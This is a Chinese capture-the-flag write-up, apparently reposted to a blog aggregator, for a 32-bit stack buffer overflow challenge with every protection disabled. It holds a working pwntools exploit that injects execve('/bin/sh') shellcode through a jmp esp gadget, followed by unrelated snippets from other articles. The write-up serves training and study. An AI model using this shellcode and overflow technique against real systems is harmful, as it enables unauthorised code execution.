x_ctf_b0verfl0w

news2024/12/27 13:06:02

x_ctf_b0verfl0w

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments

32位,保护全关,写shellcode

int vul()
{
  char s[32]; // [esp+18h] [ebp-20h] BYREF

  puts("\n======================");
  puts("\nWelcome to X-CTF 2016!");
  puts("\n======================");
  puts("What's your name?");
  fflush(stdout);
  fgets(s, 0x32, stdin);
  printf("Hello %s.", s);
  fflush(stdout);
  return 1;
}

栈溢出

并且有个hit

.text:08048504                               ; ---------------------------------------------------------------------------
.text:08048504 FF E4                         jmp     esp
.text:08048504
.text:08048506                               ; ---------------------------------------------------------------------------
.text:08048506 C3                            retn
.text:08048506
.text:08048507                               ; ---------------------------------------------------------------------------
.text:08048507 B8 01 00 00 00                mov     eax, 1
.text:0804850C 5D                            pop     ebp
.text:0804850D C3                            retn
.text:0804850D                               ; } // starts at 80484FD
.text:0804850D

给出了jmp esp

思路

用jmp再去执行一次栈,栈里面写好shellcode

from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",27413,"./pwn",10)
context(os='linux', arch='i386',log_level='debug')

esp=asm("sub esp,0x28;jmp esp")
pl=b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'
pl=pl.ljust(0x24,b'\x00')+p32(0x8048504)+esp
sl(pl)
ia()

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1033217.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

mac安装 scala 详细教程(包含在 idea 上使用,以及scala插件安装)

目录 一 下载解压 二 配置环境变量 三 测试 scala 四 idea 编写 scala 文件 1. 安装插件 scala 插件 2. 使用 idea 创建 scala 工程 3. 使用idea 创建 maven 工程开发 scala 一 下载解压 去官网选择合适的版本下载 官网地址https://www.scala-lang.org/download/all.…

RocketMQ高性能核心原理与源码架构剖析

文章目录 1、源码环境搭建1.1、主要功能模块1.2、源码启动服务1.2.1、 启动nameServer1.2.2、 启动Broker1.2.3、 发送消息1.2.4、 消费消息 2、源码剖析2.1、NameServer的启动过程2.2、Broker服务启动过程2.3、Netty服务注册框架2.3.1、关注重点2.3.2、源码重点 1、源码环境搭…

进化的京东云DaaS:向大模型要解

通过新的DaaS大模型模式,京东云想要为企业提供的增长路径,恰是从最原始的“要数据”真正进阶到最终的“出效果”,将大模型和京东对增长的理解封装到整个产品矩阵中,帮助企业构建最适合AI时代的增长底盘。 作者|皮爷 出品|产业…

如何保障汽车嵌入式软件的质量与安全?您需要了解ASPICE标准

汽车软件开发流程改进与能力确定(Automotive SPICE或ASPICE)是一个流程评估模型,它帮助汽车原始设备制造商(OEM)和供应商评估当前企业软件开发流程的性能和成熟度水平。 遵守这一标准,有助于汽车供应商确保…

Apache Flume

Flume 1.9.0 Developer Guide【Flume 1.9.0开发人员指南】 Introduction【介绍】 摘自:Flume 1.9.0 Developer Guide — Apache Flume Overview【概述】 Apache Flume is a distributed, reliable, and available system for efficiently collecting, aggregati…

迁移 MySQL 数据到 OceanBase 集群

使用 mysqldump 将 mysql的表结构和数据同步到 OceanBase 的MySQL 租户中 Mysql数据库导出 mysqldump -h127.0.0.1 -P3306 -uroot –p --single-transaction --hex-blob --routines --events --triggers --set-gtid-purgedOFF --databases teller >teller.sql mysql> …

sentinel环境搭建以及微服务接入

• sentinel部署 • sentinel-镜像制造 • sentinel-镜像推送 • sentinel-部署配置文件 • 访问控制台 • 外网访问控制台 • 集群内访问 • 配置规则 • 限流效果 • 微服务接入 • pom文件引入依赖 • pod部署文件添加配置 Sentinel 控制台是流量控制、熔断降级规则统一配置…

下载github.com上的依赖资源

下载github.com上的依赖资源(需要反复试才能成功,所以单独安装) export GIT_TRACE1 export GIT_CURL_VERBOSE1 pip install githttps://github.com/PanQiWei/AutoGPTQ.git -i https://pypi.mirrors.ustc.edu.cn/simple --trusted-hostpypi.mi…

.NET 8 中的 WPF File Dialog 改进

作者:Dipesh Kumar 排版:Alan Wang 我们很高兴宣布从 .NET 8 Preview 7 开始,对 WPF 中的通用文件对话框 API 进行了一系列新的改进。其中包括迄今为止存储库中投票最多的 API 建议 – 允许用户选择文件夹的 OpenFolderDialog 控件 – 以及文…

灾备系统中虚拟机的有代理备份与无代理备份之间的差异

虚拟机的有代理备份是在虚拟机内部安装备份代理程序,然后把虚拟机当作物理机一样来进行备份任务。借助虚拟机系统中内置的程序来进行备份的,就像在正常系统中备份那样,借助备份和还原(Windows7)功能对系统进行备份。但…

buuctf web [极客大挑战 2019]BabySQL

又是你,还来?好好好 依旧老方法,先试探一手 有错误? 你有一个错误在你的SQL语法;检查与您的MariaDB服务器版本对应的手册,以便在第1行11#和password1 "附近使用正确的语法 看来是or被过滤了,试试双写…

五、核支持向量机算法(NuSVC,Nu-Support Vector Classification)(有监督学习)

和支持向量分类(Nu-Support Vector Classification),与 SVC 类似,但使用一个参数来控制支持向量的数量,其实现基于libsvm 一、算法思路 本质都是SVM中的一种优化,原理都类似,详细算法思路可以参考博文:三…

Arcgis常用操作技巧

20个Arcgis常用操作技巧 1)影像格式的转换 例如把jpg格式转换为tiff格式,可以在arctoolbox中的转换工具-->到光栅-->光栅到其他多种格式(conversiontools-->to Raster-->Raster to Other Format multiple)。 矢量化…

华为云云耀云服务器L实例评测 | minikube部署和使用

### 1 安装Docker 按照官网[Docker docs](https://docs.docker.com/engine/install/centos/)指引安装: shell yum install -y yum-utils yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo yum install docker-ce docker-…

Apacha Flume

0目录 1.Flume概述 2.Flume安装部署 3.案例1 4.案例2 5.案例3 1.Flume概述 1.1 Flume定义 Flume是Cloudera提供的一个高可用的,高可靠的,分布式的海量日志采集、聚合和传输的系统。Flume基于流式架构,灵活简单。 1.2 Flume基础架构 Flume组…

ubuntu22.04安装opencv4和opencv_contrib

一、下载opencv和opencv_contrib 1、下载opencv Releases - OpenCV选择OpenCV-4.5.0,下载Sources版本,并解压; 2、下载opencv_contrib https://github.com/opencv/opencv_contrib选择右边Release-Tags,选择和opencv一样的版本&…

计算机等级考试—信息安全三级真题三

目录 一、单选题 二、填空题 三、综合题 一、单选题

Python 实现 PDF 文件转换为图片 / PaddleOCR

文章用于学习记录 文章目录 前言一、PDF 文件转换为图片二、OCR 图片文字识别提取三、服务器端下载运行 PaddleOCR四、下载权重文件总结 前言 文字识别(Optical Character Recognition,简称OCR)是指将图片、扫描件或PDF、OFD文档中的打印字符…

【zookeeper】zk选举、使用与三种节点简介,以及基于redis分布式锁的缺点的讨论

这里我准备了4台虚拟机,从node1到node4,其myid也从1到4. 一,zk server的启动和选举 zk需要至少启动3台Server,按照配置的myid,选举出参与选举的myid最大的server为Leader。(与redis的master、slave不同&a…

微软在Windows 11推出Copilot,将DALL-E 3集成在Bing!

美东时间9月21日,微软在美国纽约曼哈顿举办产品发布会,生成式AI成为重要主题之一。 微软表示,Copilot将于9月26日在Windows 11中推出;Microsoft 365 Copilot 将于11 月1日向企业客户全面推出;将OpenAI最新的文本生成图…